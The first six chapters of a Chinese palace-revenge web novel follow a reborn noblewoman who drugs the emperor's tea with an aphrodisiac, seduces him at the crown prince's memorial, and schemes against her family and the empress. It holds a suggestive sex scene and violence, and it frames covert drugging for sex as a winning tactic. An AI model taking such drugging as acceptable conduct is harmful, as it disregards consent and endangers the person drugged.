《太子假死娶青梅,我撩皇帝,夺凤位》 第1章 重生,她不守寡了 第一章 重生,她不守寡了 东宫。 内室,粗如儿臂得白烛烛光摇曳,映着女子白腻腻肩头上的汗珠。 摇摇欲坠。 “叫。” 眼前男子薄肌隆起,有力的臂膀将江澜因揉进怀中。 他身形挺拔,古铜色皮肤覆盖在紧实的肌肉上,不见岁月痕迹。 大手卡住她下颌,掌心薄茧在女子细嫩的肌肤上擦出一道红痕。 逼迫她,叫出声来。 江澜因水汽弥漫的美眸中,闪过一丝痛楚,纤手无力地推拒着。 洁白的贝齿咬紧粉嫩欲滴的唇。 任凭男人如何施为,死撑着不出声。 却在心里默默记下。 当朝皇帝,好这一口。 年轻柔弱的女子越是倔强不肯,越激起男人的征服欲。 他牢牢把她禁锢在自己身前,看她隐忍挣扎。 妙曼的姿态,勾人至极。一双美眸,却受惊小鹿一般,盛满泪光盈盈欲滴,又羞又怕,写满了抗拒。 极致的反差,让男人欲罢不能。 他脸上是不自然的潮红,掐着她纤腰的手愈发用力。 江澜因承受不住,终是嘤咛出声: “太子哥哥,救我……” 秀美的脖颈软软垂下,枕在男人肩上,彻底失去了知觉。 她身后,堂前白绸轻飘。 烛光照亮了牌位: 华章太子顾言泽之神主 江澜因梦见了前世。 她是靖威侯嫡女,十八岁那年,和当朝太子定下婚事,却没想到,第二日,战场上竟传来太子死讯,皇后何氏一耳光扇得她跌坐在地。 “是你、你这个灾星,克夫!害死了吾儿!” “该给吾儿殉葬!” 江澜因又痛又怕,不知所措,还没等反应过来,却见萧家在府中养了十年的表姑娘冲出来。 眼眶通红,满脸是泪地挡在皇后跟前: “皇后娘娘,姐姐是侯府唯一嫡女,自幼娇宠。她若出事,侯夫人也活不成了。” “臣女卑贱,愿意替姐姐死!” 一头撞向一旁廊柱。 顿时头破血流,身子一歪,没了气息。 天家感其忠义,追封她为郡主,身后极尽哀荣。 而江澜因却因此背上懦弱不堪,害死表妹的骂名。 爹娘厌弃,让她不吃不喝跪在表妹灵堂七日,大哥直接逼她穿上嫁衣,把她塞进棺材里,抬进东宫与太子结冥婚。又逼她去皇家寺庙甘露寺,让她一辈子苦修,为太子和表妹祈求冥福。 江澜因爱惨太子,也觉对不住表妹。 心甘情愿受了。 可皇后不肯放过她。 “太子生前最喜欢你这只巧手。会弹琴,能书会画。你不愿死,舍出一只手陪伴我儿,不过分吧?” 斩落江澜因右手,封入太子衣冠冢。 没了一只手,江澜因彻底废了。熬得油尽灯枯之时,太子却带着表姑娘,双双活着回来了。 这十年,两人携手走遍了大盛山山水水,赏过江南烟雨,也看过大漠孤烟。 表妹诞下三个孩儿,儿女绕膝,享天伦之乐。 两人紧紧相扣的十指,看得江澜因滚下泪来。 他们都活着。 那她煎熬这十年,毁了的这一辈子,算什么? 皇帝驾崩,太子登基。 十年不曾踏足甘露寺的靖威侯夫人来了,苦劝: “因因,你是先帝亲封的太子妃。你还活着,你表妹怎么办?难道要为妃?为妾?” “她为皇家诞育子嗣,皇帝疼她,必不肯。” “你懂点事,别叫皇上为难,爹娘不安。” 一家人害死江澜因。 怕她死后冤魂生事,求甘露寺首座明心师太做法事镇压。 法事终了,江澜因却醒了。 她又活了。 回到太子死后第七天,此时表妹文师师也已自戕。 民间传说亡魂七日回魂,江澜因思念太子,恳请皇后让她来守灵。 前世,她跪了一夜,失魂落魄归家后,就被哥哥江慎塞进了棺材。 要改命,今晚是江澜因最后的机会。 她想都没想。 直接把媚药抖落在皇帝茶盏里。 这一世,她要求生,要报仇,要往上爬。 江澜因对光看着自己尚好端端的右手,皮肤细腻,纤指修长,指甲是健康的嫩粉色。 指甲缝里还剩下些白色药粉。 她笑了一声,将手指放在嘴里,一点一点舔舐干净。 若是不成,落个株连九族的下场,让爹娘大哥都陪她一起死, 也很不错。 回过神来,欢愉的余韵在体内消散。 江澜因口中嘤咛一声,睫毛颤抖,慢慢睁开眼睛。 还有些模糊的视野中,她看见一个明黄色背影,立在身前。 “言泽哥哥!” 江澜因轻唤一声,挣扎着爬起身,踉踉跄跄追过来。 从身后,紧紧抱住男人窄腰。 女孩温热的身子,隔着衣衫,贴上男人脊背。 软软的,微微颤动。 忆起刚才那一番荒唐,顾辰枭微微一滞。 却听江澜因声音颤抖,“言泽哥哥,带我走吧,求你。我、我熬不住了……” 太子的名讳,让顾辰枭瞬间清醒。 心中席卷上勃勃怒意。 他一根一根掰开江澜因手指,擎着她的手腕,把女孩一把推开。 江澜因抬头,看清皇帝的那一瞬间,她眼睛猛地瞪大,脸上红晕瞬间褪去。 又惊又怕,竟是一拧身,向两扇紧闭的门扉跑去。 顾辰枭一惊。 他是皇帝,自然无所畏惧。 可若门一开,江澜因这副模样被旁人瞧见,太子的身后名,就全毁了! “回来!” 男人低沉声音响起,饱含怒意。 不想江澜因一个小姑娘,竟置若罔闻,眼看就要推门而出。 顾辰枭咬牙,上前,一把揽住女孩纤腰。 把她禁锢在自己怀里。 带她退回来,远离门扉。 可小姑娘似乎真的吓坏了,什么都顾不上,在顾辰枭怀里拼命挣扎,连踢带打。 大滴大滴的眼泪,落在男人手背。 滚烫滚烫的。 就像怀里这具身体。 “够了!” 可皇帝的威严,已吓不住这小丫头。 顾辰泽难得地升起无奈之感,紧贴着江澜因耳边: “因因,别闹。” 是她的小名。 两个字,宛如魔咒。 怀里的小姑娘竟不挣扎了,她身子软软贴在顾辰枭怀里,带着哭音叫了一声: “父皇……” 第2章 皇帝逼她殉葬? 第二章 皇帝逼她殉葬? 这一声,微微泛着嘶哑,又混进了哭腔。 声波宛如一条小蛇,一下子钻进顾辰枭耳中,微凉的鳞片一下下地剐蹭着他的耳膜。 男人胸口起伏了一下,皱紧了眉头。 太子顾言泽乃是贵妃何氏所出,是顾辰枭最钟爱的女人,却因难产去世。爱屋及乌,顾言泽是他最钟爱、做寄予厚望的儿子。 如今,他年纪轻轻去了。 顾辰枭心中大恸,今日罢朝,忍不住孤身来东宫祭奠爱子。 不过是口渴,喝了一杯茶水,竟就失了神智。 让他在爱子灵前,竟…… 刚才的事,难以抑制地在眼前浮现。 眼中闪过一丝阴戾,顾辰枭脱下外袍,裹住江澜因,一丝肌肤都不露,推开她。 唤太监进来: “给她穿好衣裳。朕要审她。” 他要知道,是谁胆敢在他儿子的灵堂里算计他! 皇帝负手离去。 “咣当”一声。 灵堂大门重重关上,隔绝外面天光。 东宫太监统领李渔取来一套宽大的粗麻孝服,扔在地上。 语带轻蔑:“江姑娘,穿上吧。皇上还等着您问话哪。” 江澜因没去捡。 “我皮肤娇嫩,穿不了粗麻。劳驾公公,取一套细缎衣裳来。” “呦,江姑娘,您还当是以前哪?” 李渔皮笑肉不笑,“没有,就这个。您啊,爱穿不穿。” 说罢,转身就要出去。 却听江澜因笑了一声,声音清脆悦耳。 “公公,你不想活了?” 李渔一愣。 他是东宫统领太监,是太子心腹,也极得皇帝的信任。 别说区区靖威侯府嫡女,先太子的准妃,就算是当朝皇后,有时也要给他三分颜面。 “姑娘还是先顾一顾您自己个儿。别以为爬上龙床就能如何,告儿您,这么脏的手段,您啊早惹怒了万岁爷。依咱家看,今日活不成的,是您才对。” 江澜因直起身。 她脸上泪痕还未干,映着莹莹烛火,发着微光。 娇嫩的唇角挑起,美眸中含笑,没再说话。 李渔尚不觉什么。 身边一个年轻清秀的小太监却吓得瑟瑟发抖。 “没用的东西。”李渔抬脚就踹,“你怕什么?有咱家在呢。” “干爹,这事儿是出在东宫……” 李渔不是笨人,瞬间反应过来。 皇上与自己爱子的准妃,在灵堂里行事。 这是天大的丑闻。 为遮掩,护住皇家声誉。只怕,今日在灵前伺候的,全都得死! 自己位高,就算能侥幸逃脱,只怕也得脱一层皮。 再看江澜因,李渔笑容中带了谄媚: “江姑娘,可有法子救命?” “自然有。” 江澜因浅笑,“我若是先太子准妃,你们今日便是失察,死定了。可,我若是皇上的妃嫔,你们不但不必死,反倒有功。” 李渔咧开嘴,笑了,“呦,江姑娘好大的志气。” 他又踹身旁的小太监,“小忠子,你去,给江姑娘找一套好衣裳,要素色儿的。赶紧去!” 片刻后。 江澜因被带至御书房。 她低着头,规行矩步到御案前,跪下,头埋得低低的。 “沙沙”的翻页声一停。 顾辰枭抬起头来。 只见女孩一袭素白衣衫,腰上巴掌宽的白绸,束出不盈一握的纤腰。裙摆越往下越轻薄,重重叠叠,如莲花瓣一般散开。 刚才凌乱不堪的长发重新梳好,只簪了一朵素白的玉兰花。 通身除了白,还是白,没别的颜色。 愈发衬得她乌发如墨。跪在地上,缩成小小的一团,小小兔子一般。 “朕记得,今日无需你入宫。” 冷沉的声音,是在等江澜因解释。 “父皇,儿臣……” “住口!不准你再这样叫朕!” 江澜因身子一抖,连呼吸都滞住,好半晌才颤抖着嘴唇,“……是,臣女知道。” 说着,眼泪又掉下来。 真是爱哭。 也不知太子从前怎么受得了。 顾辰枭眉头越皱越紧,声音倒缓了几分:“今日之事,你都知道些什么,说!” “儿……臣女想为言泽哥哥守灵,请皇后娘娘懿旨入宫。臣女跪了大半日,有个小宫女送来一盏茶,臣女喝了,就、就……臣女还以为是、是言泽哥哥回来了……” 她哭得厉害,苍白的小脸上浮起红晕,几乎喘不上气来。 “你的意思,你是被人算计的?” 江澜因猛地抬起头,一时连哭都忘了:“若不是被算计,臣女岂会、岂会做这种事?!” 她一副受了天大侮辱的模样。 顾辰枭莫名不悦。他深深看了江澜因一眼,“今日之事,朕自然会查。你若说谎,朕不饶你。” “是,谢皇上。” 江澜因重又磕头下去。 她这副循规蹈矩的模样,和刚才的媚态,大相径庭。 不知自己怎么总想起那一幕,顾辰枭拧眉,心中烦躁至极。 开口道:“江氏,你殉葬吧。” 伏在地上的江澜因身子一抖。 前世,何皇后让她殉葬,是皇帝阻拦,才最终未成。 今生,皇帝竟也让她殉葬。 “怕了?” 男人声音,从头顶传来,沉甸甸的,压迫感有若实质。 江澜因深吸一口气,挺直腰身。 慢慢抬头。 顾辰枭一愣。 他看到,小姑娘脸上,竟带着笑。 她小脸上婴儿肥还未褪尽,腮边两个浅浅的小酒窝,眼眶通红,脸上泪水未干。 却竟是心满意足笑着。 “谢皇上。臣女想求个不见血的好死法,好干干净净下去,见太子哥哥。” 全没一点惧意,语气中竟还十分期待。 顾辰枭眯起眼睛,盯紧了江澜因。 他从皇后处听说,这个江澜因胆小懦弱,一听说要殉葬,跪着求情,把皇家的体面都丢尽了。 最后还推她表妹出来,替她去死。 顾辰枭素来讨厌这种心机深重的女子,若不是太子对她有情,只怕舍不得她死,他当时就不会留她性命。 如今,出了事,真要她殉葬。 她竟欣喜应了? “你不怕?” “怕。” 江澜因老老实实承认,“臣女怕死。可这世间已没有在乎我之人,这样苟活,才更可怕。臣女宁愿陪太子哥哥去九泉之下。” “你情愿死?” 看着眼前女孩,顾辰枭想起,当年贵妃辞世时,他也悲痛不已,恨不得立时跟着去了。 失去挚爱之人的痛苦,他经历过。 看向江澜因的目光,不自觉柔和些。 言泽性子宽仁,良善,必不喜自己心爱的女孩随葬于地下。 下一刻。 顾辰枭眸光却是一暗,盯紧了江澜因。 “你若果真想死,为何不在家中了断,一定要进宫?” 这不是装腔作势,是什么? 她该死! 第3章 堂堂侯府嫡女,爹娘也不容她 第三章 堂堂侯府嫡女,爹娘也不容她 皇帝冰冷审视的眸光盯着江澜因。 他是因爱子离世,悲痛不已,更兼被刚才的事扰乱了心神。 可很快冷静下来,逼问: “太子丧讯传回,已有七日。江氏,你要做什么,早就做了,何至于等到今日?” 江澜因轻轻颤了一下,眼眶中又盈满了泪珠。 顾辰枭狠下心肠,“朕在问你的话。” 小姑娘面颊染上一层薄红,“皇上,您相信,七日回魂吗?” 顾辰枭摇头,“无稽之谈。” 他自然不信。 可不信,却又要辍朝一日,在这一天来到东宫。不许人随侍,不叫人知道。 怒意散去,深吸一口气,顾辰枭又道:“你在等言泽回魂?” “臣女真傻,是不是?” 江澜因一歪头,泪水滑落腮边。 “臣女实在是想、想……再见太子哥哥一面。如今,能为太子哥哥殉葬,臣女……也是不枉了。至于,臣女家中……” 她眼中泪珠儿一串串落下,肩膀耸动着。日光透过窗纸照射进来,映得泪珠晶莹剔透,宛若易碎的珍宝一般。 “因表妹去了,娘哭得几接晕厥,臣女在她灵前跪满了七日,全家都为表妹戴孝。臣女若再在家中出事,只怕母亲会受不得。” “父皇,”情急之下,江澜因也忘了言语谨慎,脱口而出,“求父皇,臣女殉葬的事,可否晚些再让爹娘知道,求您了!” 额头上顷刻磕出红印。 “够了!” 可江澜因不听话,依旧磕头恳求。 下一刻。 明黄色袍角一闪,顾辰枭大手已覆在她额上。 撑着她,抬起脸来。 两人离得很近,江澜因抬眸看着他,眼中破碎的泪意,惹人怜惜。 顾辰枭心中愈发烦躁,拧眉。 靖威侯府有一位养了十年的表姑娘,他倒是略有耳闻。可即便是此女为了江澜因而死,也不至于全家为其披麻戴孝。 “皇上?”江澜因轻声唤着。 顾辰枭回过神,“为太子殉葬是堂堂正正的事,怎么瞒得住你家里?” 江澜因急了,一时竟现出小女儿娇纵痴蛮的模样。“您是皇上,您若是想,总归做得到。” 顾辰枭一愣。 他没有女儿,不曾有小姑娘对他撒过娇。 这种感觉,有些陌生。 “做不到。”他一口拒绝。 “那怎么办?娘会哭死的。”她似是认真地在考虑,自己死后,应该怎么办。 没有半点害怕,只有对家人的担忧。 顾辰枭下意识伸出手,摸了摸她头顶。 “你爷爷陪伴先皇征战天下,你爹和你哥哥都是重臣。朕不能让他们寒心。” 江澜因大眼睛盯着皇帝,似乎不明白他说这些干什么。 “把今天的事,一辈子烂在肚子里。回家去吧,往后,不得再入宫。” 他的儿子,不必她陪葬。 他也不想再见她了。 今日之事,都忘了吧。 江澜因临走时,为东宫伺候灵堂的下人求情,皇帝准许不追究他们失察之过。 又让东宫大太监李渔送江澜因回侯府。 路上,隔着轿帘。 李渔怪笑一声:“江姑娘好手段,确能活人,救下了这满宫下人的性命。” 江澜因听得出他阴阳怪气。 是说自己没能耐做皇帝的妃嫔,就这么被灰溜溜地送出宫去,再也进不来。 还以为她有多大能耐呢。 如今一看,不过如此。 车帘轻动。 李渔侧目,只见一只荷包递了出来。 “江姑娘,什么意思啊?” 江澜因嗓音因为哭泣,微微有些泛着哑。她轻声道:“澜因多谢公公今日援手。往后,还有求得着公公的地方,望公公笑纳。” 李渔愣了愣。 呦,这丫头,还没放弃呢。 他胖乎乎的手指,抓起了那个荷包,“成了。咱家总记着姑娘的好,就是了。” 他是东宫统领太监,这样的位置,本来有远大的未来,无尽的荣华。 可,太子薨了。 李渔的前路也断了。难不成真要几年之后,垂垂老矣,被遣去给太子守灵?他不甘心,还想寻着机会搏一把。 “只是,姑娘要知道,天子一言九鼎。今日既说不叫您再入宫,再想见皇上一面,可就难了。” 隔着月白色车帘,江澜因笑了笑。 不难。 很快,她就会再入宫的。 皇帝不纳她,无外乎不愿意承受父夺子妻的道德压力。可也正因为对儿子的爱,皇帝不会杀她。 危机时刻,还会出手护她。 江澜因对光看着自己右手,掌心纹路清晰可见,她缓缓并拢五指,攥紧。 她会利用皇帝对她的这一点好心,善意, 稳稳地爬上去。 片刻后,靖威侯府。 李渔转回宫去。 江澜因出入家中,向来是走角门。倒是表妹,侯府愿意为她开中门。 她住在侯府西边一间小小的跨院里。 只因娘说,那院子虽小些,冷僻些,可离爹娘住的地方近,好亲近。 江澜因没回去。 叫自己的两个贴身婢女,“去,把兰蕤轩腾出来,我要住。” 兰睿轩是侯府最大最好的院子。 本是江澜因的,十年前表妹来了,娘做主给了表妹。 丫鬟刚去没一会儿,靖威侯江殊城、侯夫人文氏找了过来。 “逆女,你要干什么?”靖威侯怒骂,“自打有你,家中就不消停!” 文氏捶着心口哭,“因因,你怎能这样?你表妹才死,尸骨未寒!你就要占了她的院子去?你的心,怎么能这么狠?” 看着这一对爹娘。 江澜因攥紧了手指。 前世,她亲近他们,指望过他们。 甘露寺内,那杯让她昏迷的果酒却是文氏亲手递来的,她眼睁睁看着自己被人吊死在禅房。 脸上一滴眼泪都没有,反而满是得意。 这就是她的娘,为了给表妹开皇后之路,生生害了她一条性命。 这辈子,他们的鬼话,她一句都不信。 江澜因静静看着她,一双极像文氏的眼睛,流光溢彩,闪烁着幽光。 “娘,兰蕤轩是侯府嫡小姐的院子,本就该是我的。” 她粉嫩的唇角挑着,笑得愈发愉悦: “女儿今日进宫,被皇上幸了。往后封妃的旨意到侯府,瞧见女儿住的是西跨院,不知爹娘要怎么跟皇上解释?” “还是说,表妹才是侯府,真正的女儿?” 第4章 勾引皇上?她没那个能耐 第四章 勾引皇上?她没那个能耐 “胡说!” 文氏变了脸色。 哭声愈大,身子摇摇欲坠: “你害死你表妹不说,现在还敢胡言乱语,想要全家都不得好死吗?你自小嫉妒你表妹,现在她为你而死,你却抢她的院子!你还要胡闹到什么时候?” 若是前世,看到文氏哭成这样,江澜因定要内疚得恨不得去死。 现在,她只是静静地笑了一笑。 “娘宁愿死的人是我。对吗?” 文氏愣了愣,只是哭,没有答话。 是默认了。 江澜因心口漫起一阵酸涩。 重生一世,她不指望爹娘。可这具身子不过十八岁,依然下意识地渴望亲情爱护。她也会伤心,会难过。 一旁,靖威侯开口: “说这些做什么?因因,你刚才说、说皇上他……” 这才是他关心的。 文氏哭声也小了些,静静竖起耳朵听。 江澜因又说了一遍:“皇上他,临幸了女儿。” 顿了顿,她又补了一句,“就在东宫。” 顾辰枭叫她保守秘密,不准说出去。可不说,她的好爹娘又怎么会知道呢? 江澜因脸上现出小女孩儿特有的天真神情: “皇上很喜欢女儿。女儿想,不久册封的圣旨,就会到家中。爹娘可要帮女儿筹备……” 她脸上漫起的些微笑意,刺痛了文氏眼睛。 她瞳仁一缩,打断道:“因因,你疯了不成?” “你、你是太子的准妃,当今圣上爱重储君,天下皆知!皇上怎会幸你?” “再说,因因,你自己照照镜子,你自己说。你这样的模样儿、人品,皇上哪里会喜欢你?若是换成你表妹,倒还可信些……” 江澜因眸色沉了沉。 又来了。 又是这种话。 她今年十八岁,正是女子颜色娇嫩,风华初露的时候。 可从小,娘就说她相貌平庸,不讨喜。 等长大了些,身子发育起来,娘又叹着气,说她的腰太细,胸口肉却太厚,生得不雅相。 非得用老气端庄的颜色,方才压得住。 母亲的话,江澜因自然信,自小对自己容貌自卑至极,只敢含胸驼背,畏畏缩缩。 常年一身老气的颜色。 眼睁睁看着娘把那些颜色鲜亮的华贵料子,都给表妹做了衣裳。 直到死后,她才意识到,这些都是假话。她的容貌,在盛京贵女中数一数二,反倒是表妹,人都说她长得一般,只是会打扮。 为了表妹不自伤容貌平庸,娘才这般打压着她。 江澜因笑了。 一点媚态,展露出来。如小荷才露尖尖角,清纯,柔媚,说不出的惑人。 “娘,您这么说,倒好像是在埋怨皇上,有眼无珠,不辨妍媸。” 她嬉笑着。 靖威侯刷地一下变了脸色,恨不得上来捂住江澜因的嘴。 “住口!这话也是你能胡说?你自己想死,别带累了家里!” 又回头训斥文氏,“皇上自有决断,轮不到你多嘴!” 文氏挨了一句,再不敢说话。 江澜因将两人变换的神情尽收眼底。她笑了笑,“女儿不敢骗爹娘,说得都是真的。如今女儿累了,要去歇息,爹娘请自便吧。” 转身回了兰蕤轩。 留下靖威侯和文氏两人,面面相觑。 一阵风吹来,双双打了个寒战。 花厅里。 靖威侯在空地上,一圈圈地踱步,心里全乱了。 爵位世袭到他这一代,已有三辈。祖父立功,爹爹安享太平,他也安享太平。 侯府三代内再没出一个人才,如今已经慢慢被边缘化,只怕一点风吹草动,这爵位就要被收回去。 本来,江澜因被太子看上,靖威侯觉得是祖宗荫庇,侯府要出一位未来的皇后了。 可谁知道江澜因命太硬! 太子竟死了! 死了男人的女人,就如同被榨干了汁水的甘蔗,干干瘪瘪,对侯府再没用了。 他再也不想管她。 可若是,江澜因真的被皇上幸了。 ……侯府出不了未来的皇后。 能出一位当下的宠妃,也是好的。 想来想去,靖威侯攥紧拳头:“得送她进宫。” “侯爷,不成!” 文氏反驳道:“因因这孩子,自小儿爱撒谎。她的话不可信。侯爷千万勿要以此为念,反倒铸成大错!” 靖威侯皱眉:“可撒这种谎,对她有什么好处?” 那可是女儿家的身家清白!比性命还贵重的东西! 文氏眸光沉了沉,缓缓道:“或许是要她与太子结冥婚,为太子守贞的事,她知道了?她不懂事,不肯,所以胡说这种事,企图叫咱们忌惮?” 文氏这话…… 说得很是。 靖威侯脚步一顿,刚热起来的心,冷了下去。 “若果真这样,那这逆女,当真该死!” 文氏舒了一口气:“咱们在宫中不也养了人?是与不是,让他打探一下,不就全知道了?” 晚间,宫里的消息,是侯府大公子江慎带回来的。 “爹,娘,你们被江澜因骗了!” 他大步走进来,衣角挟着冷风。“咱们养在宫里的人说,皇上今日根本不曾去东宫。勾引皇上,江澜因她没那个能耐!” 靖威侯心口发冷,沉甸甸的,是失望。 他咬牙道:“这逆女,到底为什么?” “还能为什么?”江慎冷笑,“她从前,仗着是太子准妃,没少欺负师师表妹。如今,太子不在了,她只怕没了仪仗。还想在咱们府里过作威作福的好日子,可不就编出这等腌臜的谎话来?” 文氏也道:“侯爷,您瞧,咱们都差点被因因糊弄了。” 她虽然上了年纪,却保养得好,皮肤娇嫩,眼角一丝皱纹都没有。 柔柔弱弱哭道:“因因真是不如师师懂事。我可怜的师师……” 江慎眼中闪过怨恨,“师师是为了救她死的,她的日子却过得逍遥。凭什么?” 一挥手,“把东西抬上来!” 八个小厮方才抬得动,刷成大红的紫檀棺木。 靖威侯猛地一愣,“阿慎,这是干什么?你要逼死她?” “只是关她几日,让她尝尝师师吃过的苦。不会要她的命。”江慎咬牙,满脸恨意,“关老实了,再送她进宫,与太子殿下结冥婚。皇后娘娘会欣慰的。” 当今皇后出身门阀何家。 太子是她庶姐所生,自幼养在她膝下。如今太子死了,皇后亲生的三皇子,未来不可限量。 讨了何皇后喜欢,侯府才有将来。 “爹,娘,这是江澜因应得的。你们莫要临到了舍不得!” 文氏只是哭着,不言语。 靖威侯攥紧拳头:“去吧。侯府养她十八年,也该她为侯府做些贡献。” 另一边,兰蕤轩中。 十二扇紫檀木骨屏风展开,用比发丝儿还细的金银绣线,绣出牡丹从含苞到盛开的幅景致。 其间点缀着珍珠、宝石碎,日光照在其上,闪烁灼灼光华。 屏风后的木桶里,散发着玫瑰香气的水汽腾起。 “哗啦”,水声响。 江澜因入浴。 微微泛着酸的腰肢,在温暖馨香的特质药汤中,彻底舒展开来。 江澜因知道,这水里混合了玫瑰、磨砺、珍珠、雪莲等名贵药材,是平日里表姑娘文师师用来养她那一身好肌肤的。 这才是侯府千金小姐本该有的尊贵与体面。 江澜因靠在浴桶边缘,舒服地眯起眼睛。 不过片刻后,兰蕤轩的丫鬟急匆匆进来: “小姐,大公子来了,唤您出去。” 带着棺材来的。 可大公子不让说,丫鬟也不敢提前透露给江澜因。 江澜因不在乎丫鬟声音中的惊惶,“让他等着。” “可……” “怎么,等不了?”隔着氤氲白汽,江澜因一笑,“他若是敢,大可以进来。” 闯正在沐浴的妹妹的闺房。 江慎自然不敢。可听了丫鬟的话,还是忍不住怒骂: “没有廉耻的东西!当真是疯魔了!连亲哥哥都要勾引!” 只听得一道清冷声音响起: “我勾引你,你是什么东西,也配?” 江慎转过脸去,瞬间瞪大眼睛。 第5章 被锁在棺材里,进宫! 第五章 被锁在棺材里,进宫! 下雪了。 大片的雪花,落在少女鬓边。 十二支长短不一的雏凤金簪,从髻心斜刺而出。流苏底部坠着的红宝石,将点点红色的荧光,映在江澜因如玉般白皙的脸上。 她身上穿着大红嫁衣,七层广袖在风中猎猎作响,其间金线绣成的凤凰金羽招展来开。 一点笑意,从江澜因腮边升起。 她看上去…… 愉悦得就好像,一位真正的新娘。 有那么一瞬间,耳边似乎响起凤鸣。江慎愣住了,“你、你疯了……” 好半晌,他才缓过神来,记起眼前之人,是江澜因。 靖威侯府那位性子懦弱,人人拿捏的大小姐,他的妹妹。 江慎变了脸色,指着江澜因怒骂:“……太子刚死,你穿这个!你全无心肝!” 前世,江慎对江澜因也是好过的。 后来,表妹来了。 一切都变了。 更是因为文师师的死,全家人痛惜,都恨不得死的是江澜因。 她被皇后砍断一只手时,正是江慎在一旁,牢牢地按着她。 “江澜因,你只是失去一只手,表妹她可是没了命!” 事后,何皇后满意,江慎果然得了何家照拂,娶郡主,往后的仕途青云直上。 现在,看到江慎这种故作义正言辞的脸,江澜因只恶心。 “不是要送我去与太子殿下结冥婚吗?动作快些吧。” 江慎一愣,旋即反应过来:“你果然是知道了!所以才说出那样荒诞无稽的话,哄骗爹娘!” 江澜因只是懒散笑笑。 趁江慎还愣着,自己躺进了棺材里。 棺盖盖上。 黑暗笼罩下来。 江澜因动了一下身子,让自己在软垫上躺得舒服些,带着笑意闭上眼睛。 顾辰枭说了,不许她再入宫。 可她,这不是来了吗? 前世,江澜因在棺材里封了三天,这次,才不过半日。 是谁等不及了? 棺材盖子很快被掀开。 正是曾经华美无匹的东宫。 如今都用红、白两色缎子装饰起来。不过只局限在太子灵堂前。 毕竟结冥婚不是什么光彩的事,就算是何皇后,也不敢大张旗鼓。 冷肃的女声传入耳中,“见了皇后娘娘,还不下跪?” 一双手伸进棺材,扶着江澜因,把她拽出棺材,拉到何皇后跟前。 皇后是何家精心培养的贵女,从小就知道自己将来是皇后。不想竟被庶姐夺了入宫的先机,还生下了子嗣。 所幸,庶姐死得早,临死时攥着皇帝袍角恳求庇护她的孩儿。 皇帝大恸,当即封那孩子做太子,将他养在皇后膝下。 可如今,何皇后自己的儿子,也快十八岁了。 太子死了,皇后怕人议论,每每表现得十分哀痛,要用江澜因做筏子。 虐待她,向皇帝、向全天下表演她作为母亲的深情。 自私又虚伪,让人恶心。 江澜因抬起头,满脸的慌乱:“大哥?我大哥呢?皇后娘娘,臣女怎么会在这儿?您、您要干什么?” 太子灵前的灯火,映在何皇后脸上。 她眼底闪过一丝狠厉,依旧要装伤心的慈母,捻着念珠拭泪:“我儿去了,孤零零地在九泉之下。江澜因,你就忍心让他一个人?” 江澜因眨了眨眼,小女孩茫然无措又带这些恐惧的神情,表现得极好:“太子哥哥去了,臣女本不愿苟活。可表妹她……” “虽然你表妹已经替你去死,但天下谁不知道,太子他心爱之人是你。” 何皇后的话,让江澜因静静地笑了一下。 前世,她就是信了这话,才会如失了智一般,自己走进了绝路,还甘之如饴。 真蠢。 江澜因半张着小嘴,面上露出伤心至极又惊诧的神情:“皇后娘娘若是想让臣女殉葬,臣女愿意。” 心里知道,何皇后想要的,只是她的一只手。 用侯府嫡女一生的幸福做抵,何皇后能演好一个失去爱子,伤心欲绝的母亲,江家能演一出忠君爱国的好戏。 他们……全都该死! 何皇后眸光微闪,“本宫已经知道,你不敢殉葬。” 她纤细白皙的手,一颗一颗地拨动着碧玉念珠。“你既然生了恐惧心,就算殉葬,也只会脏了我儿的轮回路。殉葬,你不配。” 何皇后垂下眼,淡淡道: “就要你一只手,随我儿葬于地下吧。” 她这话一出,身边伺候的宫人呼啦啦跪了一地。口称:“皇后娘娘慈悲。” 慈悲? 用别人的手,别人的一辈子陪葬,这是慈悲? 江澜因心底冷笑。 何皇后一点头。 两个身材壮硕的嬷嬷上前,一左一右按住江澜因肩膀,押着她跪在地上。 一个挽起她衣袖,露出细白的腕子。 前世,江澜因被何皇后这一番话说得神情恍惚,自愿献出一只手。 现在,她拼命挣扎。 撞歪了头上雏凤簪。 “江氏,你闹什么?” 江澜因眨了眨眼睛,泪水扑簌簌落下,姿态柔美,格外惹人爱怜。 “皇后娘娘,我不是罪人!您可以要我的命,但不能这么羞辱我!放开!放开我,我自会去死!” 凄楚的哭叫声,让何皇后拧起眉头。 不耐道:“死不死,岂能由得了你?” “皇后娘娘,您不能这样对我!不能!” 江澜因哭得脸色通红,“我靖威侯府,于国有功!我父兄还在,不能任皇后娘娘这般随意羞辱!” 何皇后一愣。 心中升起了怒意。 靖威侯府,在她眼中,什么都不是。 “你父兄?呵……”何皇后淡淡笑了一声,“叫江世子进来,亲自为太子尽忠!” “什么?不,不!” 江澜因听了这话,果然大受刺激,眼泪扑簌簌成串成串滴落,打湿了衣襟。 “我哥哥他怎会、怎会对我下得了手?他是我亲哥哥啊!” 看她徒劳挣扎的模样,何皇后只觉好笑至极,“开门,就让她看看,到底有没有人敢从本宫手里救她!” “咣当”一声。 灵堂的门被一脚踹开。 “皇、皇上?!” 第6章 对上皇后,她全无还手之力? 第六章 对上皇后,她全无还手之力? 江澜因被宫人押着肩膀,跌坐在地,裙摆如红莲一般绽放。 她眼尾垂下的睫毛轻颤,还挂着晶莹的泪珠。飞快地与皇帝对视一眼,慌乱地垂下头去。 顾辰枭心口升起薄怒,“皇后,你这是在干什么?” 去岁刚颁布了诏书,民间尚不许冥婚,更何况是东宫? 皇后施施然起身,跪下行礼,端庄优雅。再抬起头时,眼眶已微微有些发红。 “皇上,臣妾私设喜堂,是有罪。请皇上责罚。” 她身边第一等得脸的冷嬷嬷膝行上前,哭道:“皇上,娘娘自听到太子殿下凶信,几日来都夜不能寐,伤心欲绝。她是怕太子殿下一个人在下面,孤零零的,才……皇上,这是娘娘一片慈母心,求您千万勿要怪罪!” 说罢,重重磕头。 顾辰枭看向何皇后,知道她平日里极刚强的一个人,此刻红着眼圈,十分可怜。 “太子骤然薨逝,皇后这只是,伤心过头。” 把一场荒唐冥婚,归结到何皇后的爱子之心上,不予责罚。 江澜因不出声,眼眶中泪珠儿却一串串流下,心底只是冷笑。 皇帝不怪皇后。这一场闹剧,只怕就要归在她身上。 果然,顾辰枭再看向江澜因,语气有些发冷,“只是,皇后,江家小女年纪尚小,不懂事,倒也不必强迫她如此。皇后太心急了。” 